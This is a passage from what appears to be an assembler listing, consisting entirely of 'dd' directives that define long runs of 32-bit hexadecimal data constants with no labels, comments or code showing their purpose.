0C07DA985h, 53A11CA1h, 0F606006Ch, 967AAB2Bh, 818AE400h dd 56991A3Eh, 2A2E1ED8h, 0E7B6872Dh, 1662E54h, 0F9004884h dd 0B75766C1h, 0CCE338h, 0FE0C5111h, 0F23FBB5Eh, 21B69400h dd 56CA6BA7h, 40670CF4h, 0AA29D08Fh, 4895C800h, 88A8E94Eh dd 8E610687h, 2068CDFDh, 0BD947B00h, 75654F55h, 7D360328h dd 2DDF0169h, 85C03EABh, 20F1796Ah, 0AC3A8868h, 8503031h dd 0D71815Dh, 0E4798B11h, 0CB3D030h, 0DB218507h, 3107098Ch dd 0DCCDD580h, 1933A19h, 4A95F901h, 809CFC56h, 0B8B1F110h dd 0E0182169h, 4E9406AAh, 904D4F8Eh, 0B3631A00h, 42CFE630h dd 0D19E060Ch, 0E078DB23h, 0F776790Eh, 0F17B0D4Ah, 4B640880h dd 67A231D5h, 0DB6ADC1Dh, 7175E900h, 3E6CC06Fh, 761F5DAEh dd 80A800A0h, 7FDD6EB5h, 39F061F8h, 0EC608A18h, 2DF5E10h dd 0D31C7147h, 0F660D92Ah, 58008112h, 6CA46EEDh, 0FB43194h dd 0AA7DCA5Ah, 112DC4Fh, 0A181D844h, 0A051E05Bh, 0A73083E9h dd 0C36C8A5Eh, 8531A064h, 73E90065h, 80C02DACh, 64A428DFh dd 0F05D048Fh, 0B8603522h, 68486210h, 21016029h, 0B1CC1A2Ch dd 2DC48003h, 2E8C8B55h, 8124F508h, 0F9CCF245h, 0CDCFD076h dd 210001FEh, 11D10F35h, 0C04CE5BAh, 1466DB69h, 52383033h dd 4DC81975h, 2180B308h, 6D145E88h, 483D6ACAh, 0A11930FDh dd 745A6CF1h, 60F6FAF0h, 8AAA3986h, 0A8C00DA2h, 0CEC96FB1h dd 1E371E5h, 0CF6B0294h, 0F4222BC2h, 0FD18510Bh, 20515ECCh dd 0C1FC63C7h, 8103B9E3h, 2E6A5630h, 7C4CB076h, 70EA1F94h dd 0C03547DAh, 0FE8B3177h, 0A3508710h, 5514F90Dh, 32711100h dd 0C21F640Eh, 0CA8CAF31h, 0C07F0841h, 0E3A8B21h, 423C22C9h dd 0E32A0C47h, 8979B7h, 1DC0A25h, 759ED0A5h, 8CCC5C05h dd 0A4012CC1h, 25CBBAB0h, 4092788Dh, 1B8FCC58h, 23B441D0h dd 146300BFh, 697A3176h, 8DA04486h, 0BD145B00h, 0BF40314Bh dd 0C6170021h, 4FED4CE0h, 1905CDC5h, 0E42E2A6h, 8377984Eh dd 0D633Ah, 0CEB33111h, 21BE96E6h, 0BA8E4F38h, 21273720h dd 17CEBB90h, 0AD5901E4h, 0E33F11BCh, 1818E40h, 27CE409Ah dd 0F46C61C2h, 0F4A415h, 0D91BA3D0h, 5880158h, 5631FE79h dd 42F62129h, 0C0B2A853h, 167207Eh, 9A71D1C6h, 451661D7h dd 136C2398h, 980039B6h, 0F8CA5BCFh, 0F338F94Fh, 31D0DDCh dd 42E06357h, 0D4C3CFA0h, 0A8622007h, 3D815077h, 8C007537h dd 0B850C717h, 0DF240C90h, 7A010019h, 6CFC0B9Bh, 65C4D4CDh dd 4880C03Eh, 0C864467Dh, 1074D0A4h, 2D917F1Ah, 11D81D20h dd 5F3E80A6h, 0F81E38B8h, 837F06E3h, 0A06976CDh, 36C62018h dd 4431FDF9h, 7A54F61Bh, 2E03A498h, 9545EF93h, 541200C1h dd 0FE5C1294h, 6D1FD487h, 0E8A85DCCh, 4106A306h, 5814984h dd 74CF9747h, 88012A6h, 0E6C05C10h, 4680BDCCh, 0F422E4h dd 22CCFE41h, 7AF27E01h, 94E26C00h, 5F24235Ch, 6EC0C176h dd 8184D652h, 0A50D5371h, 3C20AF21h, 0B6488C3Fh, 0A69612F2h dd 201A3C62h, 36CEBE4Ah, 879A6E09h, 0ED0820D5h, 1886AAB2h dd 707AD6CDh, 684BFFBCh, 0C820940Ah, 64808411h, 62316914h dd 0B2227543h, 145C8E0Fh, 0F2C3E10Ah, 543231FAh, 8CF200Ah dd 36D3818Ch, 20FA57A3h, 0C2E8C110h, 0CA40154Ch, 2B42D80Fh dd 8161200Eh, 5F60EB3Ah, 0B33EAA08h, 85408035h, 0E1814863h dd 0E31BC369h, 0F051D594h, 6DC18110h, 59811650h, 95CDF879h dd 0D238D0DCh, 5F229100h, 0BE18201Bh, 16360AE9h, 0F09ECFh dd 0AA898879h, 0DF0F3BFAh, 0F3058EABh, 8F680858h, 50B1C69Ch dd 91006121h, 6135A8E1h, 4A4DACh, 2F02A558h, 0F86F4EAEh dd 0FA24BBF8h, 55584C2Ah, 56401C9Eh, 0FB73800Fh, 0DE0ADE2h dd 0A713600h, 501B41B6h, 239C71Fh, 809FDF12h, 22239268h dd 0CAF8A025h, 0F290610Ah, 3005985Ah, 648E750Ah, 98C0F488h dd 0A859439h, 96AB6C7Bh, 0D4A24FB0h, 0C868285Dh, 2F40DF8Ah dd 34DC04AAh, 8E18754Ah, 0C7BF8824h, 0E120666Eh, 56C8D800h dd 0B3E0566h, 3D30004Dh, 0C088164Eh, 0B8A4517Dh, 2233F500h dd 0BF07C548h, 0A9A5009Bh, 0C8DDE67Ah, 9499F853h, 52738EB9h dd 0D496E0ACh, 2B63C14Ch, 18C5A48h, 80B7CCE4h, 0C62918D4h dd 0FEFC4F21h, 0A4E22200h, 1690D3A1h, 0BD9C14C2h, 0AA0C8811h dd 0B1714C8Eh, 7042012h, 0CB71EC4Fh, 0E69C0068h, 130B6213h dd 0D7B48E40h, 4FB06AB0h, 314D8FC2h, 0C3DE7A00h, 0D9932B4h dd 9C854E10h, 0BBB00824h, 321467C0h, 225A4630h, 5F8900A1h dd 0EF223F14h, 131290D0h, 0D808B161h, 47F68C1Ch, 7500CB81h dd 567069B9h, 0EBE0DFD2h, 0D2D06CCh, 0ABCF13FDh, 0B55980D0h dd 9EA3E5B2h, 0F48A0094h, 0B4C24E5Dh, 0B0C712CDh, 67908B30h dd 20220B63h, 0AB0278F9h, 23FBC9F2h, 0D81E0B0h, 2229154Fh dd 0B500B40Eh, 0E9D7FC10h, 68BA6605h, 6F5F001h, 0ACCF961Bh dd 6BD040CEh, 0DA9409E9h, 3817D655h, 0E680B391h, 1592907Bh dd 9FA24806h, 60A86F19h, 63A68907h, 4E0F3927h, 606A735Ah dd 0F8839059h, 0CA6B0018h, 0C38B4DEBh, 1B609DD4h, 88CE8F0h dd 0D1F8B928h, 124A18BCh, 8F8FB61h, 0E1C05F4Ch, 4680BCCCh dd 0A8F02AFCh, 0CCF94A03h, 0B5E374h, 7CAA5851h, 0EA51540h dd 3398491Dh, 0A0AB62C1h, 58A20C44h, 66630074h, 53BE73E3h dd 80067D5h, 0E29A9B88h, 606E85CEh, 0ABFC2920h, 41D52998h dd 61A0C860h, 284D7Fh, 69C8212Bh, 78804105h, 0E89806C7h dd 3DAA6E04h, 0D088F91Bh, 0FDA80016h, 1962BB8h, 36023C9h dd 8970DE39h, 0BBF08Fh, 1BA6D9E2h, 4AC5176Bh, 23E46F49h dd 0CCE5015Bh, 33DC80B0h, 0FD4E8070h, 1048B6CCh, 548AE2h dd 3B6E31C8h, 4C68A5B9h, 24096437h, 90201E50h, 7F57E358h dd 43EC6400h, 70A8F89Ah, 1FFD0587h, 815E15C0h, 821D5054h dd 7CB3DC31h, 5C16E0A6h, 0A7EF00E6h, 1543A14Fh, 800722C8h dd 3EAB6140h dd 0B90666h, 4D2AAF49h, 0B6C4211Fh, 52D92805h, 0CB0035C3h dd 2D4C80B9h, 509F7342h, 9934B02Ah, 12C4AC28h, 69C48CFEh dd 0C2650F1Dh, 45C8AC10h, 0E319480h, 32BC5193h, 0F224A840h dd 0F6D2090h, 8946C2E6h, 88007322h, 0BAAE0E35h, 255309CEh dd 54905038h, 0B0076E45h, 8189E427h, 0B94C90CBh, 0EB70019Ch dd 36857D19h, 0F6F67014h, 3DEAC100h, 0B587CF0Eh, 7C0C5CDCh dd 0B0C235C8h, 0D60461CEh, 24227C76h, 0CEB85800h, 0CC3139B3h dd 651F0064h, 1793473Bh, 0DCBA99D7h, 28E218A5h, 0F0C8197Bh dd 0E60099C2h, 877CE479h, 906376Dh, 27B59F4Bh, 0B00000ABh dd 0B070EB3Eh, 8EEED019h, 9424AFA8h, 0C82017ABh, 2F50572Fh dd 7B371020h, 13A180DEh, 210E0B17h, 4D3E3301h, 0FBD420EBh dd 5C3C7024h, 0D22C0F9h, 3C99FD2Eh, 2448BAh, 4E96F333h dd 918CAA20h, 0D74A02DCh, 360438D9h, 96AA8090h, 4021C446h dd 90FCC887h, 0FD2F9A17h, 0D040E812h, 315208E1h, 0FB43308Bh dd 0E87DAA18h, 3B6F78C1h, 8081AF81h, 0F3323497h, 37FDE46Eh dd 283340B1h, 9AB8363Dh, 0FD330820h, 137B71CFh, 6ED67DB8h dd 280A3EACh, 0CD1F74F6h, 6D40E5CEh, 979B31A1h, 0C86F601Bh dd 71A33C18h, 941270B0h, 48190CFh, 0B427356Bh, 76E29452h dd 72B730h, 37071418h, 0D90F6BDEh, 9705800Ch, 10367042h dd 9A2331Eh, 10F7780Dh, 1D935CD4h, 5D9802B6h, 3480FAFDh dd 44D29D62h, 0FA00F743h, 950CB09Ch, 4E71AF20h, 33E84029h dd 0FBE20934h, 8EB8BF3Eh, 60896D95h, 0F2E65623h, 9AF6A180h dd 8638093h, 0E88F48E8h, 0ED8723B4h, 47240C1Eh, 0E905C8Fh dd 0CE2A2890h, 960CA8E2h, 0B8B4CF17h, 60057787h, 0E7FA5077h dd 17EC96Dh, 4600D3ECh, 0A74193AFh, 37C488ABh, 0A3E1752Dh dd 4A82C3FDh, 26D9B071h, 0AF00C718h, 1FD7FB37h, 62398F42h dd 0F6EBB833h, 0CF03C8E4h, 0FDBA9DC0h, 0EC22988Ch, 0A311662h dd 0B29C3075h, 1F8DE69h, 247E701Fh, 67C0FA00h, 0F1B7C331h dd 0A0CC1420h, 305939F0h, 8739A8E3h, 93004362h, 0B46DF67h dd 0D055B5h, 0C02A801Ah, 0B15FF87Dh, 5E098312h, 0C268C432h dd 0AAACB000h, 0C084AB8Fh, 91EB35B3h, 0BAC6805Ch, 0CA9081A1h dd 0C7063801h, 2844148Ch, 437DA438h, 12693FE4h, 0E4133034h dd 0BB007C8Ah, 59641461h, 6013B29h, 0B76C711Ah, 9C4337C1h dd 0B040FD50h, 0E762A84Ch, 0A3D9008Bh, 6B0A5B2Ah, 0AF249AB1h dd 4005F4F2h, 6004B083h, 0B1475491h, 60404968h, 25863F41h dd 0F4205020h, 33DB18Fh, 0F6B3EF16h, 0D10EB701h, 7DDDF904h dd 84465870h, 870544h, 43913B3Eh, 6DBAE355h, 41F03612h dd 63A16060h, 2BE5207Fh, 0FE121672h, 5421AC34h, 0CE0479A3h dd 0C0258830h, 3E944045h, 62F3A102h, 52F74B6Bh, 8FFD00A0h dd 0C970B5DEh, 78012CA8h, 3FEED480h, 0A181B1E3h, 8F8505EDh dd 0B64CE0BBh, 44741529h, 0A6182659h, 0E3C21204h, 44A09740h dd 70C88138h, 208C24DCh, 60930B74h, 52F378h, 0B2751D43h dd 8B1C5994h, 57809C91h, 0D5F2701Ah, 3BF401B3h, 6EF6CC84h dd 0F94460F8h, 0BED7845h, 0CA2CC1BEh, 0C6834550h, 0EB46986Ch dd 660E3406h, 40B190C2h, 0E3C9160h, 855E0103h, 411299BEh dd 88403836h, 1470C0B8h, 8221316Dh, 68616F6Eh, 20388914h dd 0BE60E0D0h, 0D085EF19h, 0D9050027h, 6E65EB3Fh, 0C3052BEEh dd 0D80E4C39h, 0B8C45484h, 8D0034B2h, 8CFF8BFAh, 0FC03FD7Ch dd 5FEB1B41h, 69E1A140h, 88AEC21h, 34E381h, 0C3B24390h dd 27018D0Fh, 0ADA5B766h, 70DC5C8Ah, 0A19C0283h, 34258F9Bh dd 0FD11FCE7h, 700F7680h, 448C51C2h, 3E008F7Dh, 6B37610Eh dd 12E7C8Dh, 0AAA68B49h, 0E4B84790h, 0C3273004h, 82D88F6Fh dd 40FB780Ah, 861F5DE4h, 0A3282462h, 0EC8C6034h, 7868B963h dd 8678F2h, 5DDA07C4h, 718240DCh, 5E86AF05h, 88881F97h dd 7041026Bh, 724C8750h, 0C2CE7860h, 51802C9Ch, 113CB65Fh dd 0A31D0087h, 1042E2DDh, 14243E28h, 0DC3DA08Fh, 408882C0h dd 214443Ch, 99CF92EBh, 0BCCBF886h, 0A3A48095h, 0EA0DCDA8h dd 694A8B37h, 0D40032Eh, 55A00593h, 3B001BB8h, 1A14DFC0h dd 253A5C34h, 7D543D47h, 0CC65803Dh, 1BE6E49Fh, 7940E08h dd 38805682h, 3A6BB09Eh, 0DEE3D903h, 0C7B15132h, 0E3EB4BB3h dd 5DF6D0CAh, 0DDC60057h, 9FC465F4h, 5F0081DCh, 0D504097Dh dd 1414957Eh, 981E08CBh, 9C64007Bh, 0B720DCBCh, 0A09028Eh dd 43E58F50h, 0C463B34Ch, 0C04B885h, 8CD0F1D4h, 20CE141Bh dd 6B16B974h, 9820F740h, 1ACBCE1h, 29C7B8E0h, 40AAD390h dd 6CF3B788h, 7161949Ch, 0E8FB1D67h, 27E264h, 0E5704D4Bh dd 0ACEE780Fh, 465C10BEh, 0ADA9077Ch, 405E5F25h, 0CF971EB9h dd 0A8DB61B8h, 34A2CC01h, 0CE3F16E0h, 0D618E580h, 78900088h dd 4C2048BAh, 5E46FF20h, 0B3CCE002h, 0E4F9F480h, 0CCF84B60h dd 3F2FE75h, 42352DEh, 70144AE3h, 0B828E66Bh, 43098CF0h dd 1D0C68CBh, 807C11D8h, 14A71BE7h, 0E98FA4Dh, 88846E58h dd 8181CA84h, 0E0AF678Ch, 0AB041208h, 178A4F68h, 7A5D6CA0h dd 4B8C327Eh, 0C2E05951h, 11C67299h, 0FEA9F122h, 0B3790008h dd 5E14B449h, 0BC00AC53h, 0B81A96A5h, 2C60A8EAh, 1314CB90h dd 21E4432Dh, 0EB38540h, 2830104Ah, 4059B4C2h, 6E0B2B3Fh dd 60EED0CCh, 0C01750ECh, 9EC20D41h, 59040182h, 40136D9Fh dd 0A47898C8h, 11FCB4E8h, 0A402928Ch, 0EACD022Bh, 0E0206DC8h dd 699E0E1h, 45C41000h, 2B4BC298h, 5154BC6Fh, 86340CD5h dd 848A402Ch, 7E34644Bh, 73100064h, 978AA925h, 0F89956A1h dd 26C201B9h, 0CE95BC99h, 2E44BDC4h, 2110FD1h, 931C6772h dd 0FD2C4C66h, 96409CC2h, 96A4D8FFh, 111CAC14h, 0CEB2803Bh dd 5C8696E1h, 4EB06020h, 6401CEBAh, 0CC630371h, 50C929D3h dd 4018B020h, 353B8349h, 2C29410Bh, 0F71E0E06h, 70A021B9h dd 8493627Dh, 0CDCED073h, 380F9556h, 9882088Bh, 58542873h dd 0F48B0243h, 0D815F0C9h, 7F239C3Ah, 4ABB502Fh, 23902ED6h dd 796800B3h, 0AB925821h, 83F09558h, 24E8B40h, 0C26E1B29h dd 5056018Ch, 0D4CBE817h, 28C026C8h, 2C75DF85h, 8B408E6h dd 0AA092AC9h, 0F1A83095h, 0CC53802Eh, 0FC2F90D7h, 143FBD23h dd 24C51D0Ah, 97ADD005h, 80A691D8h, 0A08DB1ABh, 0A1982CC9h dd 732509F4h, 8E571C24h, 0E04588C8h, 3EA5D743h, 5F3C50B2h dd 809818AFh, 804B0B61h, 0BB28AC6Eh, 3C46B84Ch, 0E0CEB905h dd 0CAB41396h, 81007310h, 0DBCFAEC1h, 79382Ah, 0D405DBEh dd 0BB3C030Bh, 9B00889Ch, 573586AAh, 9610C16Fh, 64A370F7h dd 0D09C1594h, 1D48049h, 0F60679h, 1E60F830h, 497A52AEh dd 0B52A7705h, 4A2D3F1h, 1449F5C4h, 769B10B8h, 2023A112h dd 0DF81AA98h, 0FA327A1Ch, 4C9E6981h, 0B6E87C2Ch, 263C07A1h dd 502DDC29h, 0CD126B1Bh, 17787400h, 0C16F4780h, 4094BE09h dd 0A83C586h, 9AB90F00h, 0CBC1F091h, 7D251364h, 0B2F8D524h dd 30A0F25Ch, 7100FFD5h, 9873A1Ch, 0F0F93DBAh, 0C9FD6022h dd 0D88B2F6Ch, 0C680DD00h, 0AB1848D0h, 6EB10193h, 0B8D6AF72h dd 68FAE5BDh, 43E01854h, 0CE6861h, 0CCC0E979h, 98AA1B41h dd 8169909Ch, 0AF01C204h, 1B81C3Dh, 7FD40804h, 0E481394Eh dd 0AC6D3E3Dh, 8C76BCh, 0D97C2F3Fh, 5F1E7382h, 6C74D80Bh dd 894C4ABh, 2D1DD754h dd 1892AA0Fh, 1276B819h, 0F23A10E9h, 0ED031F14h, 0E6631FC3h dd 29EE121h, 7E490DF0h, 582D589Ah, 0D08CC602h, 879298Eh dd 8518B2D1h, 6F128100h, 1F9A4ED3h, 0AD58DE0Ah, 68C02887h dd 0EE96C8Fh, 64F8899Ah, 40225E6Ch, 63192CD8h, 0CE05EE81h dd 0E985267Fh, 215F60E2h, 31289204h, 7A48F03Bh, 0C59F7001h dd 9D0AAEBAh, 57B9983h, 38027953h, 7ECD835Dh, 46DC7278h dd 0CEBC0231h, 31B696E7h, 844C101Bh, 69DF2CEh, 1ACC231Dh dd 6D184870h, 0CB92CC2h, 20BCB047h, 14B6FB9Ah, 78F5215Eh dd 0DE303980h, 657D4057h, 0C85059B8h, 2B00C224h, 0BDC99890h dd 53881F8h, 6E31FB75h, 0F108E24Ah, 630C78F5h, 0B788231Ch dd 284924D3h, 71205162h, 0B1218F4h, 8AA21FD3h, 7E0E6C44h dd 2059A55Bh, 210669FDh, 0ADFE16ABh, 125CAC3Ch, 0C820F667h dd 0E65588B6h, 42E201D1h, 9F3FD2C5h, 8313A1Fh, 79C47D7Bh dd 0A19E76CDh, 4084CBC0h, 93278B36h, 500B0F64h, 0A748FF10h dd 0BB816C48h, 4AC66346h, 9928B74h, 5E04018h, 7A3C80D6h dd 603F9B27h, 24C1D410h, 3FE06EB4h, 0E3301C6h, 0AF39C267h dd 8A88780Ch, 4A0E003Bh, 96A27D54h, 4F5F5317h, 18B61C12h dd 763A32B0h, 0A99B1009h, 0FA800489h, 0C2A35440h, 350096B2h dd 0F9F25C1Fh, 3E6C9FCh, 31C6CA2Bh, 4EB937Dh, 6180E164h dd 0B2CCF360h, 968C802Fh, 0EB4C0018h, 96B417CCh, 720193A7h dd 79923352h, 312E8CABh, 1BFD38h, 0E94BC334h, 84C2A040h dd 27509AE9h, 0E08443FBh, 0E8C05466h, 0A3388C1Dh, 0A873AA16h dd 0F75DA01Ch, 2F5F0D10h, 7F2340h, 31F97195h, 48BEA7A3h dd 6881400Bh, 378A48A8h, 0E0D002BFh, 5605E8CCh, 6E166B02h dd 0D94ED9C3h, 12B62C64h, 0D4D82943h, 0F37BC571h, 885C7C03h dd 80E18587h, 0D4FF838Bh, 598F8038h, 8D3E35C2h, 18ED5064h dd 1ACE08B7h, 22C4DE96h, 0CEBF4B40h, 0C0006250h, 0A4A0A8D0h dd 75B256h, 9376FB1h, 0F7690AABh, 0FC8F4494h, 5C8400C6h dd 582F2B70h, 150948CCh, 58DAE5BEh, 278EE404h, 2081C95Ah dd 3BD7CF79h, 0F91896B1h, 0CD8718D1h, 7CDCAE49h, 8395D525h dd 0DA9F77B4h, 447C4715h, 47B06128h, 1FE78D8h, 92247FF8h dd 7CE31C03h, 0C2201778h, 0CD441027h, 6FF608E4h, 0F8A0E14Fh dd 6C559402h, 78CBD64Bh, 96C0A488h, 0E00BB9h, 25D23332h dd 0C6204C7Ch, 0D44CA09Dh, 270C8B2Ah, 68986381h, 4302CBADh dd 0DFC76588h, 506D60ECh, 2B4913F3h, 2AD8A4F7h, 0D4EDB200h dd 44FF6D1Dh, 0EE1B003Fh, 0C21EC8A0h, 0ABF8BAB4h, 13688A50h dd 0A300B07h, 0B6E095D6h, 25E966EAh, 6C97ACA1h, 8964511h dd 6380F8B0h, 0B1B7685Bh, 9894E806h, 0F6E0025Ah, 4E8B1C08h dd 1F5074C8h, 0A812EC84h, 0C01BB8h, 6098887Eh, 0E39A90Fh dd 44431E32h, 3E805497h, 312B3199h, 0AA6C6011h, 18941B88h dd 28AB4317h, 0F3322579h, 606E707Eh, 0B88D1BD4h, 975C1F48h dd 28A718FFh, 0E09E883h, 0A4F5B762h, 0A8840D30h, 800450FCh dd 0E1773C1Bh, 24807E10h, 4BBAFED8h, 4088313Bh, 0D3103C80h dd 518D14B0h, 0BC68104Ah, 0AFF0CAE3h, 94250F55h, 912097ABh dd 7F009327h, 0C3354BC0h, 3C1816D3h, 10488097h, 0A340DF1Fh dd 0E4B59762h, 0E5068A96h, 30506E53h, 0ABD143F6h, 0BE003BF5h dd 0FA33E841h, 0EFCD84A8h, 548013Eh, 78D6BC51h, 8CA4B87Ch dd 4071CB04h, 63C01FF8h, 17F32E84h, 0CE0C0DF6h, 0C07DC818h dd 0E14CD0DBh, 5D669F1Fh, 0B0302DD2h, 1CBB39E2h, 405C6A42h dd 0A2D56EE0h, 37096523h, 0BF87562h, 0DA2C3888h, 0CF9480D5h dd 2491EC24h, 68FACD84h, 5014D8ADh, 8A100CAFh, 0AB90849Bh dd 3547A21h, 4E40E3CBh, 0A4380849h, 30C760EAh, 48011245h dd 0ACCD3B1Eh, 79B80C2Ch, 0CDA7058Ch, 816689BFh, 228A1BCh dd 85845C50h, 35EFB54h, 0DD266FDBh, 0DE0E30C7h, 0D8016005h dd 0D49F1C5Ah, 0B072C241h, 23B42F4Bh, 8618007Ch, 0B166073Eh dd 0F8A10824h, 167B3B08h, 0E8420E3h, 3EFB27AEh, 4D7AAF81h dd 717B1980h, 5E9D3E4h, 8584C30Ch, 5CE8C824h, 4C31BC6Eh dd 2420750h, 4028566Bh, 0DBEB09D7h, 0BEC05B1Ch, 33201281h dd 65CDCEC8h, 4ECCE820h, 0E370909Ch, 71DF73E8h, 70DDB409h dd 0D0ED0048h, 64E95A0Ah, 99549CC2h, 40FC36A4h, 8F008B90h dd 0FD4D1722h, 280586A8h, 7CFC479Bh, 33851D8Eh, 376C8BF1h dd 958C3E01h, 8EC18035h, 12578F5Ah, 3B6E0049h, 0B63D84C8h dd 28BCF7BAh, 0AA08C001h, 0A8504A91h, 54FE0D4h, 0CEDF8256h dd 40B4B4F4h, 981C8F28h, 92910D06h, 1D4029C3h, 0C1A1885Bh dd 0D7DA41BCh, 0DD8AC563h, 0A948D48Fh, 86BA11C4h, 4EC8E063h dd 0D188B7BEh, 0A74F308Fh, 43896841h, 0C048356h, 1048A201h dd 194D605Eh, 7DB525B2h, 2367600h, 0D1C9E503h, 7F67C64h dd 0F90F6E74h, 7928D2BAh, 6732481h, 5A418C7Fh, 60198Bh dd 0ECD936B5h, 0B50667Bh, 0FDE00600h, 0FB3E8435h, 898106C3h dd 496EA8BCh, 0CCC4814h, 6FCD03C5h, 30C5E987h, 0AF215008h dd 0A1070CD4h, 0F73F4FE6h, 0BC18806Fh, 295A470Fh, 59288674h dd 0F81855h, 16A26DEAh, 0C5A9E6EFh, 567E3305h, 0DA07E40Dh dd 434064A0h, 0A885133Eh, 0FB4A9A0h, 0B7FE96CFh, 8F0647FCh dd 218E5667h, 0CFBCC41Dh, 6A7748C1h, 5881DE91h, 5437E26h dd 0D99C4973h, 25A3104Dh, 826C06EEh, 49C7E58Ah, 89D05E54h dd 12866900h, 0FD6EDF99h, 0F8901F2Ah, 0AC4A833Bh, 30408738h dd 58CBD80h, 0E0460CCFh, 0AEA838D5h, 8D0CD703h, 0D13E192Bh dd 79809001h, 346A482h, 0E1F4BEEh, 0F80C7B76h, 0B07539BFh dd 0B299C09Ch, 6B3F69D0h, 0F12152Eh, 1D61FD01h, 0A891DCF7h dd 3401288h, 5F701820h, 0F98560BFh, 5D296A05h, 2B671703h dd 0F0D06211h, 58760FA2h, 94143D87h, 0B3237089h, 3C0CD101h dd 5418C5E0h, 6D9A888h, 2AFCD60Ch, 0A3118980h, 68001A8Bh dd 0CA95C2E3h, 0AD14A2FAh, 2334867Ch, 0CCE01B2h, 4EBDE03Dh dd 0D6A900A4h, 77DD110Ch, 0EFDE0A93h, 11E4646Ch, 69205005h dd 1FB10CE1h, 63FEADCFh, 0C3009111h, 7F2ECFB9h, 7000F2E8h dd 85BD12E9h, 9C0806h, 0DEA3E656h, 72CE8C33h, 0C4E39E07h dd 0C6C790D7h, 0D0918AC4h, 51B89201h, 7FE99600h, 0DABBD204h dd 8D0032E4h, 9EEEAA94h, 5B7BCEAh, 0FB88B280h, 9CD44E82h dd 8860020Ah, 0B5601335h, 46FE91CFh, 8D22BFh, 4CFBDC7h dd 0E893B676h, 1E3C9672h, 62548142h, 8FBD0273h, 38001835h dd 9133DC5h, 0E9A453E1h, 4A651804h, 3C4473h, 0C9A2A0C2h dd 882CECh, 0E43A16FAh, 9B2D5570h, 595BD230h, 0AD6343h dd 9F0DBD44h, 0A7044FA5h, 217F08CCh, 44940038h, 0D0F60C0h dd 5D04374Bh, 0E188E0F5h, 0CFD98489h, 39B5040h, 2A162AFFh dd 2D34638h, 0DB044A2h, 39001CF7h, 6CB34495h, 757A2h, 0B78BBB88h dd 642F8520h, 97604370h, 2EC51F79h, 467B0E12h, 10607EF0h dd 0BE5A6AA5h, 0DA885601h, 41FF26A2h, 60E18BD0h, 59063983h dd 202C2FD6h, 87180B45h, 1A2E919h, 0A5844725h, 10619880h dd 13B6389h, 39FACE2Eh, 9BC28547h, 98217609h, 1532E33h dd 883E6E8Dh, 0E0B915D0h, 28069634h, 69D5CE89h, 0E82300E0h dd 5010B258h, 109A2E7h, 83C4C834h, 37B5EA0h, 27EB7951h dd 0EFE3572Ah, 2EAED888h, 0BACEFD0Ah, 2303ACE6h, 24C0672h dd 0FFBBC331h dd 0E88014E3h, 9A0D40E6h, 88710C92h, 0BB9E101Fh, 0C30A20Eh dd 0E50D995h, 23EBEFD5h, 0E84E9D63h, 0BE261798h, 0EEDD0C1Eh dd 0E17AD400h, 189B6F95h, 716BFB72h, 0A21876A3h, 5011475Eh dd 3EE001D6h, 0D97F4AA8h, 0E423C870h, 0D82D5218h, 4BC8490h dd 9B3651A5h, 910898D6h, 0DB14408h, 5F70C4BFh, 9C80989Ch dd 4B74E4C1h, 6A9B80Fh, 77217BCh, 5A308173h, 0F51B3197h dd 0D05B001Ah, 0BF64F763h, 0B529FBD9h, 0A8593C2Ah, 480A5418h dd 0DC6E47EEh, 0C2045724h, 88C0A656h, 90945BF8h, 0FAE301B0h dd 43DC0F1Fh, 2603668h, 0FEACCFB6h, 409C33A7h, 0F4CFBEC2h dd 59F00490h, 823414E1h, 404796F0h, 0E4607744h, 29F4B959h dd 0ACDD0500h, 0F90DA85Bh, 8A4A3F87h, 725186B3h, 0E06778DAh dd 4F605144h, 18065792h, 7A5E594Ah, 0F1412E81h, 0B8330235h dd 20C1953Eh, 1B823EFh, 0B5266D31h, 0C23A25BCh, 24488443h dd 61C766A8h, 0F3B074E2h, 34E2C3Eh, 7FDD0F52h, 88BBE819h dd 0A9E9A3C0h, 0F871172Ch, 0D2801B60h, 5DCF12F4h, 177001A3h dd 24FB4EE4h, 42884FA8h, 0A9720047h, 0FAE96A98h, 0E64C4A1Eh dd 0C0D48850h, 0DAB4497h, 7D22AF46h, 449E4E00h, 0DBE1EC70h dd 0A9F300A0h, 1FD3A3E9h, 6384F39h, 0D5AD8B7Eh, 1F340FB9h dd 984DC290h, 0FE033BCh, 703C9E1Fh, 8981CC0Dh, 0E9100020h dd 8EDEA910h, 9B172674h, 98205F0Bh, 1AF7F01h, 4FF52322h dd 0D880BC93h, 0DCB8078Ah, 5C4CE343h, 3C8E8CB8h, 0E39E2AD5h dd 897B8C0Dh, 28C3448h, 0FE90CFAAh, 0A0196787h, 0CFB2C610h dd 0BCB36D01h, 427E0160h, 0A4441883h, 6C8035CAh, 0FC16F080h dd 284023CEh, 0C1892EC8h, 0C2E08B8Eh, 9A1F521Dh, 85D8886Dh dd 4BB2419h, 11DEC372h, 88C4A0FDh, 9B33CE1Ah, 0E0FC0420h dd 0B744A360h, 44990D79h, 448A42C0h, 520B00ACh, 0D1DFEFFEh dd 0B308BBE8h, 814F0572h, 0E7080AA3h, 397CD340h, 0D5517113h dd 695ADC21h, 3A8AC420h, 386999E9h, 539AFC18h, 0B3FE9B7Ch dd 0F6BE3402h, 445EC7F3h, 460C90F4h, 2E300295h, 3121FACBh dd 93001478h, 6C6DBA2Fh, 623A32F4h, 4CC04319h, 0EBE098F2h dd 0DEC77D0Bh, 3188A592h, 0A523C420h, 0F2A10062h, 0B9B31655h dd 8660FEC4h, 9FD1B729h, 0FC54001Ah, 8219373Ch, 0E604CD4Ch dd 8506FA86h, 0C48E074Fh, 144312FDh, 48C53CE0h, 20F21347h dd 0AD33FC54h, 79115760h, 7940EE6Ah, 1F30000Ch, 60582CB7h dd 0ED02E8DFh, 0CEE49B8Ah, 403C4F53h, 90A944ABh, 127DE0A1h dd 1DB0445Ah, 0F88B7Fh, 12829A56h, 0DF025D65h, 88BBC65Fh dd 7EC5AC0h, 7A6B3019h, 61960624h, 65372C01h, 0DB806D5Fh dd 0EAD4812Ah, 0E0E0DD86h, 313FD0Ah, 0C84004ADh, 0E8C1FED8h dd 0F5C200CCh, 487C0CD4h, 0A8726C9Dh, 5A4F8600h, 8A44B09Bh dd 1761002Ch, 2D6F36A3h, 0AE0776A5h, 593E8D1Ch, 6D1818CFh dd 15C7FC64h, 20635254h, 1D8F59B0h, 28086480h, 0CB23A6h dd 7BA42269h, 0E2FDBBDh, 657C9F73h, 0B69C5900h, 0B4674A45h dd 35E20250h, 23A95CFBh, 81C22094h, 8677A66h, 0EF6C4714h dd 0B936141h, 0E160F2A0h, 1900694Ch, 6F1E6612h, 7AD8E0Fh dd 